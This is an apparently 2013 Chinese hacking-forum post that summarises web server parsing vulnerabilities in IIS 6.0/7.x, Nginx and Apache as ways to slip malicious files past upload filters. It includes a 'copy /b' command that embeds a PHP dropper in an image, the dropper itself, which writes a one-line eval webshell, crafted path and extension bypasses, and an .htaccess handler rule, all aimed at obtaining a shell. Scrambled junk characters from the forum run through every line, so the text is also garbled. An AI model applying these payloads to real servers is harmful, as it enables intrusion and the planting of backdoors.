中国网络渗透测试联盟

标题: 常见服务器解析漏洞总结 [打印本页]

作者: admin    时间: 2013-4-19 19:14
标题: 常见服务器解析漏洞总结
Author : laterain
' a) Y3 D9 n, \[+]IIS6.0
; T+ j6 U# j% ]# |1 p; r# \
& j% a) g: e; e! o& E目录解析:/xx.asp/xx.jpg 3 _' F" c/ u- y% ~
xx.jpg 可替换为任意文本文件(e.g. xx.txt),文本内容为后门代码
2 B: ]( q. Z) i0 h( b IIS6.0 会将 xx.jpg 解析为 asp 文件。% l+ C6 R+ e! m4 H) a
后缀解析:/xx.asp;.jpg     7 R; [% l5 ^+ Q% `) C% Y
IIS6.0 都会把此类后缀文件成功解析为 asp 文件。$ U1 F. c: f! |) c& F& w% n( S
默认解析:/xx.asa
+ W( W3 V& r7 T0 Y         /xx.cer
. h$ }: \6 K' }  U/ K         /xx.cdx
6 A- s* p' V2 Q IIS6.0 默认的可执行文件除了 asp 还包含这三种
- m3 s2 C# d: [  ~# q$ B 此处可联系利用目录解析漏洞 * u" `1 ~5 m# D/ O
/xx.asa/xx.jpg 或 /xx.cer/xx.jpg 或 xx.asa;.jpg
; m, j' a0 y6 A' [1 J5 |& `& O[+]IIS 7.0/IIS 7.5/Nginx <0.8.03
- j6 i, W. w2 U
) f8 G! L. b/ a/ y: W0 |) e9 E IIS 7.0/IIS 7.5/Nginx <0.8.03" g* Q4 L0 C5 e* I; h% t7 T8 |
在默认Fast-CGI开启状况下,在一个文件路径(/xx.jpg)后面
- C" a$ t2 ?9 `* j8 C2 t 加上/xx.php,会将 /xx.jpg/xx.php 解析为 php 文件。
  P3 H! y4 ?8 R- X0 E$ J! c" k 常用利用方法:
' l5 Y3 {- s" _* e: x  m) l1 @' { 将一张图和一个写入后门代码的文本文件合并将恶意文本
  W) Z/ A' g. ~9 k7 _ 写入图片的二进制代码之后,避免破坏图片文件头和尾
0 u! ^0 M+ C& M: S 如:
! m8 C& w7 `$ l+ j3 m6 T copy xx.jpg /b + yy.txt/a xy.jpg1 ]  w. T; ~5 {6 X+ M8 l) B( ?) Z
#########################################################
8 h& a+ W! g, ?, b2 `$ w /b 即二进制[binary]模式& e& y0 a& [# |6 _' o) x7 g5 f
/a 即ascii模式9 W# x8 Q/ e8 q$ ]
xx.jpg 正常图片文件
' {% ^  v$ A/ v- S' ~ yy.txt 内容 <?PHP fputs(fopen('shell.php','w'),/ N4 M% E$ I! \1 j
'<?php eval($_POST[cmd])?>');?>/ q* g2 l! L1 Z, o6 L/ f' W
意思为写入一个内容为 <?php eval($_POST[cmd])?> 名称6 l) y, h4 g7 V+ b$ u' H; v
为shell.php的文件
1 N9 M; c" Z& J0 ~% n0 N# C ###########################################################1 e2 v2 K# K/ O" Q
找个地方上传 xy.jpg ,然后找到 xy.jpg 的地址,在地址后加上 /xx.php
+ }; Y4 m1 y/ s 即可执行恶意文本。然后就在图片目录下生成一句话木马 shell.php ( y% `* p4 I, l8 ^0 i
密码 cmd
$ R* _7 [# _. A7 ~' H* k[+]Nginx <0.8.035 W+ x- N7 _4 g

0 @4 s( ~! n( D& o0 d 在Fast-CGI关闭的情况下,Nginx <0.8.03依然存在解析漏洞
8 M, j9 O( w# {  O8 a6 _6 Q% H6 e 在一个文件路径(/xx.jpg)后面加上%00.php
) ~* g3 W7 Z$ B( a5 ~ 会将 /xx.jpg%00.php 解析为 php 文件。1 ~( ?3 z$ l! P" [9 q
[+]Apache<0.8.03
* w; i7 R4 F# [ 2 a5 x$ q+ z. Q  f: x
后缀解析:test.php.x1.x2.x3$ Q) U% Z' q  s8 |4 m2 |4 x
Apache将从右至左开始判断后缀,若x3非可识别后缀,
) i  E/ c0 v. v2 J4 c 再判断x2,直到找到可识别后缀为止,然后将该可识别+ V5 q' E. }0 @  S
后缀进解析test.php.x1.x2.x3 则会被解析为php' w, g6 N. _# ^: y: u1 c
经验之谈:php|php3|phtml 多可被Apache解析。
! Z- F, [) V+ M0 ~' O4 {4 Y[+]其他一些可利用的& T7 a. G* [7 }* O
+ ~# F2 C6 {+ b. B
在windows环境下,xx.jpg[空格] 或xx.jpg. 这两类文件都是不允许存在的
& U1 H. }" L  r2 K: O. l若这样命名,windows会默认除去空格或点,这也是可以被利用的!
9 V( F5 P. R2 Y, ?7 y. E% h在向一台windows主机上传数据时,你可以抓包修改文件名,在后面加个空格
0 g. K3 O7 a  m或点,试图绕过黑名单,若上传成功,最后的点或空格都会被消除,这样就可
1 M5 t" B6 Q. k" g$ R% }9 q得到shell。我记得Fck Php 2.6就存在加空格绕过的漏洞。
9 L6 j1 b4 K+ r- e' ], R* N{Linux主机中不行,Linux允许这类文件存在}
6 `9 u& d3 {  U7 ]8 V6 I, D如果在Apache中.htaccess可被执行(默认不执行,这是90sec里的一位朋友说: {7 H/ g6 l* _4 [- Z
的,当初我并不知道),且可以被上传,那可以尝试在$ D  t! K9 V5 _/ r
.htaccess中写入:
* p+ H/ t; C( s0 X6 W; _<FilesMatch “shell.jpg”>
3 T+ H% F, X, f  d! m$ cSetHandler application/x-httpd-php : S2 T. u  S/ E' P
</FilesMatch>( u: E" L0 b" C% d2 x- V7 H* T# j
shell.jpg换成你上传的文件,这样shell.jpg就可解析为php文件# J6 O$ u" a8 p" Z* E9 Z
[+]错误修改) p8 R, L  Y9 _* x! z7 s

  v' q, @; V) t# A9 y: b, i在 IIS 6.0 下可解析 /xx.asp:.jpg
* q: J( _# N' }; W{/xx.asp:.jpg 此类文件在Windows下不允许存在,:.jpg被自动除去
5 W! }3 u0 z* `4 x2 [9 ~  Z; q剩下/xx.asp}修改:8 [8 m1 [6 k2 o: a# B" t. N) [  W
先谢谢核攻击的提醒
. k+ h3 y# u2 k( {% |# L当上传一个/xx.asp:.jpg文件时,的确:.jpg会消失,但是现在的/xx.asp! e; x, s- @1 M
里是没有任何内容的,因为。。不好解释 大家自己看
$ B5 m/ o" b# O+ d* {% h4 `5 {( rhttp://lcx.cc/?i=24486 u* U& C- k" w- V
http://baike.baidu.com/view/3619593.htm& I4 V4 q4 a. ~: `- |8 y
7 }' q, i( `0 g6 M) z





欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2